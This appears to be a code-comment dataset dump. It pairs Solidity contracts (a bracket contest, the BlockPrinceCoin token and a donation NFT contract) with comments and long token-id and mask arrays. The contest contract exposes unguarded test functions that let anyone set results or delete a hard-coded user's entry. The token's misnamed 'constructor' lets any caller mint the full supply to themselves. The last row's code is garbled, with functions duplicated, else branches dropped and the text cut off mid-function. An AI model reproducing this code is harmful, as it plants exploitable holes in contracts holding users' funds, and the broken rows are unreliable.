-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.10;
import "openzeppelin-contracts/contracts/access/Ownable.sol";
import "ds-test/test.sol";
contract EthMadness is Ownable, DSTest {
// Represents the submission to the contest.
struct Entry {
// The "index" of this entry. Used to break ties incase two submissions are the same. (earlier submission wins)
uint48 entryIndex;
uint256 entryCompressed;
}
// Represents the results of the contest.
struct Result {
// The encoded results of the tournament
bytes16 winners;
// Team A's score in the final
uint8 scoreA;
// Team B's score in the final
uint8 scoreB;
// Whether or not this is the final Results (used to tell if a vote is real or not)
bool isFinal;
}
// Represents the various states that the contest will go through.
enum ContestState {
// The contest is open for people to submit entries. Oracles can also be added during this period.
OPEN_FOR_ENTRIES,
// The tournament is in progress, no more entries can be received and no oracles can vote
TOURNAMENT_IN_PROGRESS,
// The tournament is over and we're waiting for all the oracles to submit the results
WAITING_FOR_ORACLES,
// The oracels have submitted the results and we're waiting for winners to claim their prize
WAITING_FOR_WINNING_CLAIMS,
// The contest has completed and the winners have been paid out
COMPLETED
}
// Maximum number of entries that will be allowed
uint256 constant MAX_ENTRIES = 2**48;
// The number of entries which have been received.
uint48 entryCount = 0;
// Map of the submitter address to encoded entry with index.
mapping(address => Entry) public entries;
// The times where we're allowed to transition the contract's state
// mapping(uint256 => uint256) public transitionTimes;
// The current state of the contest
ContestState public currentState;
// The recorded votes of our oracles
mapping(address => Result) public oracleVotes;
// game results to be updated frequently by oracle (0 is top team win, 1 is bottom team win)
mapping(uint256 => uint8) public gameResults;
// The oracles who will submit the results of the tournament
address[] public oracles;
// The maximum number of oracles we'll allow vote in our contest
uint256 constant MAX_ORACLES = 10;
// The final result of the tournament that the oracles agreed on
Result public finalResult;
// The amount of the prize to reward
// uint256 public prizeAmount;
// Event emitted when a new entry gets submitted to the contest
event EntrySubmitted(
// The account who submitted this bracket
address indexed submitter,
// A compressed representation of the entry combining the picks and final game scores
uint256 indexed entryCompressed,
// The order this entry was received. Used for tiebreaks
uint48 indexed entryIndex,
// Optional bracket name provided by the submitter
string bracketName
);
// Constructs a new instance of the EthMadness contract with the given transition times
constructor() public {
// Initialize the oracles array with the sender's address
oracles = [msg.sender];
}
// Gets the total number of entries we've received
function getEntryCount() public view returns (uint256) {
return entryCount;
}
// Gets the number of Oracles we have registered
function getOracleCount() public view returns (uint256) {
return oracles.length;
}
// Internal function for advancing the state of the bracket
function advanceState(ContestState nextState) private {
require(
uint256(nextState) == uint256(currentState) + 1,
"Can only advance state by 1"
);
currentState = nextState;
}
function getDependentGame(int8 gameId) public view returns (uint8) {
int8[6] memory roundFirstGameIds = [
int8(62),
int8(60),
int8(56),
int8(48),
int8(32),
int8(0)
];
for (uint8 i = 0; i < 5; i++) {
if ((gameId - roundFirstGameIds[i]) >= 0) {
uint8 potentialGameId1 = uint8(
roundFirstGameIds[i + 1] +
(gameId - roundFirstGameIds[i]) *
2
);
uint8 potentialGameId2 = uint8(
roundFirstGameIds[i + 1] +
(gameId - roundFirstGameIds[i]) *
2 +
1
);
if (gameResults[uint8(gameId)] == 1) {
return potentialGameId2;
} else {
return potentialGameId1;
}
break;
}
}
}
function validateGamePick(uint8 gameIdToValidate)
public
view
returns (bool)
{
uint8[6] memory dependentGameIds = [63, 63, 63, 63, 63, 63];
dependentGameIds[getRoundForGame(gameIdToValidate)] = gameIdToValidate;
uint8 lowestDependentGame = gameIdToValidate;
while (lowestDependentGame >= uint8(32)) {
lowestDependentGame = getDependentGame(int8(lowestDependentGame));
dependentGameIds[
getRoundForGame(lowestDependentGame)
] = lowestDependentGame;
}
for (uint256 i = 0; i < dependentGameIds.length; i++) {
uint8 gameId = dependentGameIds[i];
if (gameId == 63) {
break;
}
uint256 entryCompressed = entries[msg.sender].entryCompressed;
bytes16 picks = bytes16(
uint128((entryCompressed & uint256((2**128) - 1)))
);
uint8 userPick = extractResult(picks, gameId);
if (userPick == 0) {
return false;
}
uint8 correctPick = gameResults[gameId];
if (userPick - 1 != correctPick) {
return false;
}
}
return true;
}
function mintTokenForGame(uint8 gameId) public {
// make sure user submitted a bracket
require(
entries[msg.sender].entryIndex >= 0,
"User has not submitted a bracket"
);
require(gameId >= 0, "Not a valid game");
require(gameId <= 62, "Not a valid game");
require(validateGamePick(gameId) == true, "This pick was not correct");
// TODO: mint token
}
// for testing
function setGameResult(uint256 gameId, uint8 result) external {
gameResults[gameId] = result;
}
// for testing
function deleteLeoEntry() external {
delete entries[0x9bEF1f52763852A339471f298c6780e158E43A68];
}
// Submits a new entry to the tournament
function submitEntry(
bytes16 picks,
uint64 scoreA,
uint64 scoreB,
string memory bracketName
) public returns (uint256) {
require(
currentState == ContestState.OPEN_FOR_ENTRIES,
"Must be in the open for entries state"
);
require(
arePicksOrResultsValid(picks),
"The supplied picks are not valid"
);
// Do some work to encode the picks and scores into a single uint256 which becomes a key
uint256 scoreAShifted = uint256(scoreA) * (2**(24 * 8));
uint256 scoreBShifted = uint256(scoreB) * (2**(16 * 8));
uint256 picksAsNumber = uint128(picks);
uint256 entryCompressed = scoreAShifted | scoreBShifted | picksAsNumber;
require(
entries[msg.sender].entryCompressed == 0,
"This user has submitted an entry already"
);
// Emit the event that this entry was received and save the entry
emit EntrySubmitted(
msg.sender,
entryCompressed,
entryCount,
bracketName
);
Entry memory entry = Entry(entryCount, entryCompressed);
entries[msg.sender] = entry;
entryCount++;
return entryCount;
}
// Returns either 0 if there is no possible winner, 1 if team B is chosen, or 2 if team A is chosen
function extractResult(bytes16 a, uint8 n) private pure returns (uint8) {
uint128 mask = uint128(0x00000000000000000000000000000003) *
uint128(2)**(n * 2);
uint128 masked = uint128(a) & mask;
// Shift back to get either 0, 1 or 2
return uint8(masked / (uint128(2)**(n * 2)));
}
// function extractResult(bytes16 a, uint8 n) public returns (uint8) {
// // get which group of 8 games n is in (0-7), (8-15), ..., (56-63)
// // bytes are stored in descending game order, thus we use 15 - x
// uint8 bytesGroup = 15 - ((n - (n % 4)) / 4);
// uint8 gameByte = uint8(a[bytesGroup]);
// emit log_named_uint("bytegroup", bytesGroup);
// emit log_named_uint("gamebyte", gameByte);
// uint8 gameIndexInByte = 3-(n%4);
// uint8
// }
function arePicksOrResultsValid(bytes16 picksOrResults)
public
pure
returns (bool)
{
// Go through and make sure that this entry has 1 pick for each game
for (uint8 gameId = 0; gameId < 63; gameId++) {
uint128 currentPick = extractResult(picksOrResults, gameId);
if (currentPick != 2 && currentPick != 1) {
return false;
}
}
return true;
}
// Adds an allowerd oracle who will vote on the results of the contest. Only the contract owner can do this
// and it can only be done while the tournament is still open for entries
function addOracle(address oracle) public onlyOwner {
require(
currentState == ContestState.OPEN_FOR_ENTRIES,
"Must be accepting entries"
);
require(
oracles.length < MAX_ORACLES - 1,
"Must be less than max number of oracles"
);
oracles.push(oracle);
}
// Submits a new oracle's vote describing the results of the tournament
function submitOracleVote(
uint256 oracleIndex,
bytes16 winners,
uint8 scoreA,
uint8 scoreB
) public {
require(
currentState == ContestState.WAITING_FOR_ORACLES,
"Must be in waiting for oracles state"
);
require(oracles[oracleIndex] == msg.sender, "Wrong oracle index");
require(arePicksOrResultsValid(winners), "Results are not valid");
oracleVotes[msg.sender] = Result(winners, scoreA, scoreB, true);
}
// Close the voting and set the final result. Pass in what should be the consensus agreed by the
// 70% of the oracles
function closeOracleVoting(
bytes16 winners,
uint8 scoreA,
uint8 scoreB
) public {
require(currentState == ContestState.WAITING_FOR_ORACLES);
// Count up how many oracles agree with this result
uint256 confirmingOracles = 0;
for (uint256 i = 0; i < oracles.length; i++) {
Result memory oracleVote = oracleVotes[oracles[i]];
if (
oracleVote.isFinal &&
oracleVote.winners == winners &&
oracleVote.scoreA == scoreA &&
oracleVote.scoreB == scoreB
) {
confirmingOracles++;
}
}
// Require 70%+ of Oracles to have voted and agree on the result
uint256 percentAggreement = (confirmingOracles * 100) / oracles.length;
require(
percentAggreement > 70,
"To close oracle voting, > 70% of oracles must agree"
);
// Change the state and set our final result which will be used to compute scores
advanceState(ContestState.WAITING_FOR_WINNING_CLAIMS);
finalResult = Result(winners, scoreA, scoreB, true);
}
// Closes the entry period and marks that the actual tournament is in progress
function markTournamentInProgress() public {
advanceState(ContestState.TOURNAMENT_IN_PROGRESS);
require(oracles.length > 0, "Must have at least 1 oracle registered");
}
// Mark that the tournament has completed and oracles can start submitting results
function markTournamentFinished() public {
advanceState(ContestState.WAITING_FOR_ORACLES);
}
// Gets the bit at index n in a
function getBit16(bytes16 a, uint16 n) private pure returns (bool) {
uint128 mask = uint128(2)**n;
return uint128(a) & mask != 0;
}
// Sets the bit at index n to 1 in a
function setBit16(bytes16 a, uint16 n) private pure returns (bytes16) {
uint128 mask = uint128(2)**n;
return a | bytes16(mask);
}
function shiftLeft(bytes1 a, uint8 n) private pure returns (bytes1) {
uint8 shifted = uint8(uint8(a) * 2**n);
return bytes1(shifted);
}
function negate(bytes1 a) private pure returns (bytes1) {
return a ^ allOnes();
}
function clearBit16(bytes16 a, uint8 n) private pure returns (bytes16) {
bytes1 mask = negate(shiftLeft(0x01, n));
return a & mask;
}
function allOnes() private pure returns (bytes1) {
uint8 max = 255;
return bytes1(max); // 0 - 1, since data type is unsigned, this results in all 1s.
}
function getRoundForGame(uint8 gameId) public pure returns (uint8) {
if (gameId < 32) {
return 0;
} else if (gameId < 48) {
return 1;
} else if (gameId < 56) {
return 2;
} else if (gameId < 60) {
return 3;
} else if (gameId < 62) {
return 4;
} else {
return 5;
}
}
// Gets the first game in a round given the round number
function getFirstGameIdOfRound(uint8 round) private pure returns (uint8) {
if (round == 0) {
return 0;
} else if (round == 1) {
return 32;
} else if (round == 2) {
return 48;
} else if (round == 3) {
return 56;
} else if (round == 4) {
return 60;
} else {
return 62;
}
}
}
| make sure user submitted a bracket TODO: mint token | function mintTokenForGame(uint8 gameId) public {
require(
entries[msg.sender].entryIndex >= 0,
"User has not submitted a bracket"
);
require(gameId >= 0, "Not a valid game");
require(gameId <= 62, "Not a valid game");
require(validateGamePick(gameId) == true, "This pick was not correct");
}
| 12,636,350 | [
1,
6540,
3071,
729,
9638,
279,
9843,
2660,
30,
312,
474,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
1345,
1290,
12496,
12,
11890,
28,
7920,
548,
13,
1071,
288,
203,
3639,
2583,
12,
203,
5411,
3222,
63,
3576,
18,
15330,
8009,
4099,
1016,
1545,
374,
16,
203,
5411,
315,
1299,
711,
486,
9638,
279,
9843,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
13957,
548,
1545,
374,
16,
315,
1248,
279,
923,
7920,
8863,
203,
3639,
2583,
12,
13957,
548,
1648,
22684,
16,
315,
1248,
279,
923,
7920,
8863,
203,
3639,
2583,
12,
5662,
12496,
17968,
12,
13957,
548,
13,
422,
638,
16,
315,
2503,
6002,
1703,
486,
3434,
8863,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract BlockPrinceCoin {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 2;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10000; // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = "BlockPrinceCoin"; // Set the name for display purposes
symbol = "BPC"; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | Update total supply with the decimal amount
| totalSupply = initialSupply * 10000; | 10,658,826 | [
1,
1891,
2078,
14467,
598,
326,
6970,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2078,
3088,
1283,
273,
2172,
3088,
1283,
380,
12619,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
import "zeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol";
import "./DaiDonation.sol";
contract DonationCore is ERC721BasicToken, DaiDonation {
// Soft cap of 4,294,967,295 (2^32-1)
// E.g. Fill every block for ~50 years
Donation[] public donations;
// Tracking variables
uint256 public totalDonationsCreated;
uint256 public totalDonationsMade;
uint256 public totalDonationsIssued;
// Donation data mapping
mapping (uint256 => string) public donationDescription;
mapping (uint256 => string) public donationTaxId;
mapping (uint256 => address) public donationBeneficiary;
mapping (uint256 => uint256) public donationGoal;
mapping (uint256 => uint256) public donationRaised;
mapping (uint256 => bool) public donationClaimable;
// Event logging
event CreateFundraiser(string description, uint256 goal, address beneficiary, string taxId, address creator, bool claimable);
event MakeDonation(uint256 donationId, uint256 amount, address donor, address sender);
event ClaimDonation(address donor, uint256 donationId);
event IssueDonation(uint256 donationId, uint256 amount, address donor, address issuer);
event DeleteDonation(uint256 donationId);
// Donation struct
struct Donation {
uint128 donationId; // 4 bytes
uint128 amount; // 16 bytes
address donor; // 20 bytes
}
// Returns the donation information
function getDonation(uint256 _id) external view
returns (
uint256 _originalDonationId,
uint256 _donationId,
string _description,
uint256 _goal,
uint256 _raised,
uint256 _amount,
address _beneficiary,
address _donor,
string _taxId,
bool _claimable
) {
uint256 origId = donations[_id].donationId;
_originalDonationId = origId;
_donationId = _id;
_description = donationDescription[origId];
_goal = donationGoal[origId];
_raised = donationRaised[origId];
_amount = donations[_id].amount;
_beneficiary = donationBeneficiary[origId];
_donor = donations[_id].donor;
_taxId = donationTaxId[origId];
_claimable = donationClaimable[_id];
}
function _createDAIFundraiser(
string _description,
uint256 _goal,
address _beneficiary,
string _taxId,
bool _claimable
) internal
returns (uint256)
{
uint256 newDonationId = _createFundraiser(_description, _goal, _beneficiary, _taxId, _claimable);
_trackDaiDonation(newDonationId);
return newDonationId;
}
function _createFundraiser(
string _description,
uint256 _goal,
address _beneficiary,
string _taxId,
bool _claimable
)
internal
returns (uint256)
{
Donation memory _donation = Donation({
donationId: uint32(donations.length),
amount: 0,
donor: address(0)
});
uint256 newDonationId = donations.push(_donation) - 1;
_mint(msg.sender, newDonationId);
donationDescription[newDonationId] = _description;
donationBeneficiary[newDonationId] = _beneficiary;
donationGoal[newDonationId] = _goal;
donationTaxId[newDonationId] = _taxId;
donationClaimable[newDonationId] = _claimable;
totalDonationsCreated++;
emit CreateFundraiser(_description, _goal, _beneficiary, _taxId, msg.sender, _claimable);
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
// If the donation is marked as claimable, a future owner
// may assign their address later.
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
} else {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
// Mark the new donation id claimable by the owner
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
// Minting an ERC-721 asset is optional
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
} else {
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
function _claimDonation(address _donor, uint256 _donationId)
internal
{
require(donationClaimable[_donationId] == true);
require(donations[_donationId].donor == address(0));
donations[_donationId].donor = _donor;
donationClaimable[_donationId] = false;
emit ClaimDonation(_donor, _donationId);
}
function _deleteDonation(uint256 _donationId)
internal
{
delete donations[_donationId];
donationDescription[_donationId] = "";
donationTaxId[_donationId] = "";
donationBeneficiary[_donationId] = address(0);
donationGoal[_donationId] = 0;
donationRaised[_donationId] = 0;
_burn(ownerOf(_donationId), _donationId);
emit DeleteDonation(_donationId);
}
} | Soft cap of 4,294,967,295 (2^32-1) E.g. Fill every block for ~50 years Tracking variables Donation data mapping Event logging Donation struct | contract DonationCore is ERC721BasicToken, DaiDonation {
Donation[] public donations;
uint256 public totalDonationsCreated;
uint256 public totalDonationsMade;
uint256 public totalDonationsIssued;
mapping (uint256 => string) public donationDescription;
mapping (uint256 => string) public donationTaxId;
mapping (uint256 => address) public donationBeneficiary;
mapping (uint256 => uint256) public donationGoal;
mapping (uint256 => uint256) public donationRaised;
mapping (uint256 => bool) public donationClaimable;
event CreateFundraiser(string description, uint256 goal, address beneficiary, string taxId, address creator, bool claimable);
event MakeDonation(uint256 donationId, uint256 amount, address donor, address sender);
event ClaimDonation(address donor, uint256 donationId);
event IssueDonation(uint256 donationId, uint256 amount, address donor, address issuer);
event DeleteDonation(uint256 donationId);
struct Donation {
}
function getDonation(uint256 _id) external view
returns (
uint256 _originalDonationId,
uint256 _donationId,
string _description,
uint256 _goal,
uint256 _raised,
uint256 _amount,
address _beneficiary,
address _donor,
string _taxId,
bool _claimable
) {
uint256 origId = donations[_id].donationId;
_originalDonationId = origId;
_donationId = _id;
_description = donationDescription[origId];
_goal = donationGoal[origId];
_raised = donationRaised[origId];
_amount = donations[_id].amount;
_beneficiary = donationBeneficiary[origId];
_donor = donations[_id].donor;
_taxId = donationTaxId[origId];
_claimable = donationClaimable[_id];
}
function _createDAIFundraiser(
string _description,
uint256 _goal,
address _beneficiary,
string _taxId,
bool _claimable
) internal
returns (uint256)
{
uint256 newDonationId = _createFundraiser(_description, _goal, _beneficiary, _taxId, _claimable);
_trackDaiDonation(newDonationId);
return newDonationId;
}
function _createFundraiser(
string _description,
uint256 _goal,
address _beneficiary,
string _taxId,
bool _claimable
)
internal
returns (uint256)
{
Donation memory _donation = Donation({
donationId: uint32(donations.length),
amount: 0,
donor: address(0)
});
uint256 newDonationId = donations.push(_donation) - 1;
_mint(msg.sender, newDonationId);
donationDescription[newDonationId] = _description;
donationBeneficiary[newDonationId] = _beneficiary;
donationGoal[newDonationId] = _goal;
donationTaxId[newDonationId] = _taxId;
donationClaimable[newDonationId] = _claimable;
totalDonationsCreated++;
emit CreateFundraiser(_description, _goal, _beneficiary, _taxId, msg.sender, _claimable);
return newDonationId;
}
function _createFundraiser(
string _description,
uint256 _goal,
address _beneficiary,
string _taxId,
bool _claimable
)
internal
returns (uint256)
{
Donation memory _donation = Donation({
donationId: uint32(donations.length),
amount: 0,
donor: address(0)
});
uint256 newDonationId = donations.push(_donation) - 1;
_mint(msg.sender, newDonationId);
donationDescription[newDonationId] = _description;
donationBeneficiary[newDonationId] = _beneficiary;
donationGoal[newDonationId] = _goal;
donationTaxId[newDonationId] = _taxId;
donationClaimable[newDonationId] = _claimable;
totalDonationsCreated++;
emit CreateFundraiser(_description, _goal, _beneficiary, _taxId, msg.sender, _claimable);
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
_mint(_donor, newDonationId);
totalDonationsMade++;
emit MakeDonation(newDonationId, _amount, _donor, msg.sender);
totalDonationsIssued++;
emit IssueDonation(_donationId, _amount, _donor, msg.sender);
}
return newDonationId;
}
function _makeDonation(uint256 _donationId, uint256 _amount, address _donor, bool mintToken)
internal
returns (uint256)
{
Donation memory _donation;
if (donationClaimable[_donationId]) {
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: address(0)
});
_donation = Donation({
donationId: uint32(_donationId),
amount: uint128(_amount),
donor: _donor
});
}
uint256 newDonationId = donations.push(_donation) - 1;
if (donationClaimable[_donationId]) {
donationClaimable[newDonationId] = true;
}
if (mintToken) {
